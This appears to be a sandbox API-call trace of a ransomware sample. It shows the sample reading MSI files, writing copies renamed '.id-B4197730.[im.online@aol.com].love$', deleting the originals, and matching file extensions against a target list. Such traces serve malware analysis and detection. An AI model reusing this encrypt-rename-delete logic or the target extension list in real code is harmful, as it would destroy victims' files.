lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0104.194] WriteFile (in: hFile=0x360, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0104.259] ReadFile (in: hFile=0x2b8, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x1c010, lpOverlapped=0x0) returned 1 [0104.431] WriteFile (in: hFile=0x360, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x1c020, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1c020, lpOverlapped=0x0) returned 1 [0104.437] ReadFile (in: hFile=0x2b8, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0104.437] WriteFile (in: hFile=0x360, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0xf8, lpOverlapped=0x0) returned 1 [0104.437] SetEndOfFile (hFile=0x360) returned 1 [0104.437] CloseHandle (hObject=0x360) returned 1 [0104.796] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.796] SetEndOfFile (hFile=0x2b8) returned 1 [0104.798] CloseHandle (hObject=0x2b8) returned 1 [0104.798] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0104.799] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 1 [0104.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0104.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0104.799] lstrlenW (lpString=".doc") returned 4 [0104.799] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0104.799] lstrlenW (lpString=".docx") returned 5 [0104.799] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0104.799] lstrlenW (lpString=".pdf") returned 4 [0104.799] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0104.799] lstrlenW (lpString=".xls") returned 4 [0104.799] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0104.799] lstrlenW (lpString=".xlsx") returned 5 [0104.799] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0104.799] lstrlenW (lpString=".ppt") returned 4 [0104.799] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0104.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0104.799] lstrlenW (lpString=".zip") returned 4 [0104.800] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0104.800] lstrlenW (lpString=".rar") returned 4 [0104.800] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0104.800] lstrlenW (lpString=".bz2") returned 4 [0104.800] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0104.800] lstrlenW (lpString=".7z") returned 3 [0104.800] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0104.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0104.800] lstrlenW (lpString=".dbf") returned 4 [0104.800] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0104.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0104.800] lstrlenW (lpString=".1cd") returned 4 [0104.800] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0104.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0104.800] lstrlenW (lpString=".jpg") returned 4 [0104.800] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0104.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0104.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0104.800] lstrlenW (lpString=".doc") returned 4 [0104.800] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0104.800] lstrlenW (lpString=".docx") returned 5 [0104.800] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0104.800] lstrlenW (lpString=".pdf") returned 4 [0104.800] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0104.800] lstrlenW (lpString=".xls") returned 4 [0104.800] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0104.800] lstrlenW (lpString=".xlsx") returned 5 [0104.800] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0104.800] lstrlenW (lpString=".ppt") returned 4 [0104.800] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0104.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0104.800] lstrlenW (lpString=".zip") returned 4 [0104.800] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0104.800] lstrlenW (lpString=".rar") returned 4 [0104.801] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0104.801] lstrlenW (lpString=".bz2") returned 4 [0104.801] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0104.801] lstrlenW (lpString=".7z") returned 3 [0104.801] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0104.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0104.801] lstrlenW (lpString=".dbf") returned 4 [0104.801] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0104.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0104.801] lstrlenW (lpString=".1cd") returned 4 [0104.801] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0104.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0104.801] lstrlenW (lpString=".jpg") returned 4 [0104.801] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0104.801] lstrcmpiW (lpString1=".msi", lpString2=".love$") returned 1 [0104.801] lstrlenW (lpString="netfx_Extended_x64.msi") returned 22 [0104.801] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0104.823] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=872448) returned 1 [0104.823] CloseHandle (hObject=0x360) returned 1 [0104.824] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 0x80 [0104.824] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0104.824] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0104.824] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.824] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.824] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0104.830] GetLastError () returned 0x0 [0104.830] ReadFile (in: hFile=0x360, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0xd5000, lpOverlapped=0x0) returned 1 [0104.879] WriteFile (in: hFile=0x374, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xd5010, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0xd5010, lpOverlapped=0x0) returned 1 [0105.056] ReadFile (in: hFile=0x360, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.056] WriteFile (in: hFile=0x374, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x100, lpOverlapped=0x0) returned 1 [0105.057] SetEndOfFile (hFile=0x374) returned 1 [0105.089] CloseHandle (hObject=0x374) returned 1 [0105.114] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.114] SetEndOfFile (hFile=0x360) returned 1 [0105.128] CloseHandle (hObject=0x360) returned 1 [0105.128] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0105.129] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 1 [0105.129] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0105.129] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0105.129] lstrlenW (lpString=".doc") returned 4 [0105.129] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0105.129] lstrlenW (lpString=".docx") returned 5 [0105.129] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0105.129] lstrlenW (lpString=".pdf") returned 4 [0105.129] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0105.129] lstrlenW (lpString=".xls") returned 4 [0105.129] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0105.129] lstrlenW (lpString=".xlsx") returned 5 [0105.129] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0105.129] lstrlenW (lpString=".ppt") returned 4 [0105.129] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0105.129] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0105.129] lstrlenW (lpString=".zip") returned 4 [0105.129] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0105.130] lstrlenW (lpString=".rar") returned 4 [0105.130] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0105.130] lstrlenW (lpString=".bz2") returned 4 [0105.130] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0105.130] lstrlenW (lpString=".7z") returned 3 [0105.130] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0105.130] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0105.130] lstrlenW (lpString=".dbf") returned 4 [0105.130] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0105.130] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0105.130] lstrlenW (lpString=".1cd") returned 4 [0105.130] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0105.130] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0105.130] lstrlenW (lpString=".jpg") returned 4 [0105.130] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0105.130] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0105.130] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0105.130] lstrlenW (lpString=".doc") returned 4 [0105.130] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0105.130] lstrlenW (lpString=".docx") returned 5 [0105.130] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0105.130] lstrlenW (lpString=".pdf") returned 4 [0105.130] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0105.130] lstrlenW (lpString=".xls") returned 4 [0105.130] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0105.130] lstrlenW (lpString=".xlsx") returned 5 [0105.130] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0105.130] lstrlenW (lpString=".ppt") returned 4 [0105.131] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0105.131] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0105.131] lstrlenW (lpString=".zip") returned 4 [0105.131] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0105.131] lstrlenW (lpString=".rar") returned 4 [0105.131] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0105.131] lstrlenW (lpString=".bz2") returned 4 [0105.131] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0105.131] lstrlenW (lpString=".7z") returned 3 [0105.131] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0105.131] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0105.131] lstrlenW (lpString=".dbf") returned 4 [0105.131] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0105.131] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0105.131] lstrlenW (lpString=".1cd") returned 4 [0105.131] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0105.131] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0105.131] lstrlenW (lpString=".jpg") returned 4 [0105.131] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0105.131] lstrcmpiW (lpString1=".msi", lpString2=".love$") returned 1 [0105.131] lstrlenW (lpString="netfx_Extended_x86.msi") returned 22 [0105.131] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0105.132] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=495616) returned 1 [0105.132] CloseHandle (hObject=0x360) returned 1 [0105.132] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 0x80 [0105.132] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0105.132] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0105.132] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.132] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.132] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0105.133] GetLastError () returned 0x0 [0105.133] ReadFile (in: hFile=0x360, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x79000, lpOverlapped=0x0) returned 1 [0105.180] WriteFile (in: hFile=0x354, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x79010, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x79010, lpOverlapped=0x0) returned 1 [0105.229] ReadFile (in: hFile=0x360, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.229] WriteFile (in: hFile=0x354, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x100, lpOverlapped=0x0) returned 1 [0105.229] SetEndOfFile (hFile=0x354) returned 1 [0105.229] CloseHandle (hObject=0x354) returned 1 [0105.418] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.418] SetEndOfFile (hFile=0x360) returned 1 [0105.424] CloseHandle (hObject=0x360) returned 1 [0105.424] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0105.425] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 1 [0105.425] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0105.425] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0105.426] lstrlenW (lpString=".doc") returned 4 [0105.426] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0105.426] lstrlenW (lpString=".docx") returned 5 [0105.426] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0105.426] lstrlenW (lpString=".pdf") returned 4 [0105.426] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0105.426] lstrlenW (lpString=".xls") returned 4 [0105.426] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0105.426] lstrlenW (lpString=".xlsx") returned 5 [0105.426] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0105.426] lstrlenW (lpString=".ppt") returned 4 [0105.426] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0105.426] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0105.426] lstrlenW (lpString=".zip") returned 4 [0105.426] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0105.426] lstrlenW (lpString=".rar") returned 4 [0105.426] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0105.426] lstrlenW (lpString=".bz2") returned 4 [0105.426] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0105.426] lstrlenW (lpString=".7z") returned 3 [0105.426] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0105.426] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0105.426] lstrlenW (lpString=".dbf") returned 4 [0105.426] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0105.426] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0105.426] lstrlenW (lpString=".1cd") returned 4 [0105.426] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0105.426] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0105.426] lstrlenW (lpString=".jpg") returned 4 [0105.427] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0105.427] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0105.427] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0105.427] lstrlenW (lpString=".doc") returned 4 [0105.427] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0105.427] lstrlenW (lpString=".docx") returned 5 [0105.427] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0105.427] lstrlenW (lpString=".pdf") returned 4 [0105.427] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0105.427] lstrlenW (lpString=".xls") returned 4 [0105.427] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0105.427] lstrlenW (lpString=".xlsx") returned 5 [0105.427] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0105.427] lstrlenW (lpString=".ppt") returned 4 [0105.427] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0105.427] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0105.427] lstrlenW (lpString=".zip") returned 4 [0105.427] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0105.427] lstrlenW (lpString=".rar") returned 4 [0105.427] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0105.427] lstrlenW (lpString=".bz2") returned 4 [0105.427] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0105.427] lstrlenW (lpString=".7z") returned 3 [0105.427] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0105.427] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0105.427] lstrlenW (lpString=".dbf") returned 4 [0105.428] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0105.428] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0105.428] lstrlenW (lpString=".1cd") returned 4 [0105.428] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0105.428] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0105.428] lstrlenW (lpString=".jpg") returned 4 [0105.428] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0105.428] lstrcmpiW (lpString1=".msi", lpString2=".love$") returned 1 [0105.428] lstrlenW (lpString="RGB9RAST_x64.msi") returned 16 [0105.428] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0105.429] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=184832) returned 1 [0105.429] CloseHandle (hObject=0x360) returned 1 [0105.429] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 0x80 [0105.429] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0105.429] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0105.430] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.430] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.430] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0105.430] GetLastError () returned 0x0 [0105.430] ReadFile (in: hFile=0x360, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x2d200, lpOverlapped=0x0) returned 1 [0105.527] WriteFile (in: hFile=0x354, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x2d210, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2d210, lpOverlapped=0x0) returned 1 [0105.533] ReadFile (in: hFile=0x360, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.533] WriteFile (in: hFile=0x354, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0xf4, lpOverlapped=0x0) returned 1 [0105.533] SetEndOfFile (hFile=0x354) returned 1 [0105.533] CloseHandle (hObject=0x354) returned 1 [0105.539] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.539] SetEndOfFile (hFile=0x360) returned 1 [0105.542] CloseHandle (hObject=0x360) returned 1 [0105.542] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0105.542] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 1 [0105.543] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0105.543] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0105.543] lstrlenW (lpString=".doc") returned 4 [0105.543] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0105.543] lstrlenW (lpString=".docx") returned 5 [0105.543] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0105.543] lstrlenW (lpString=".pdf") returned 4 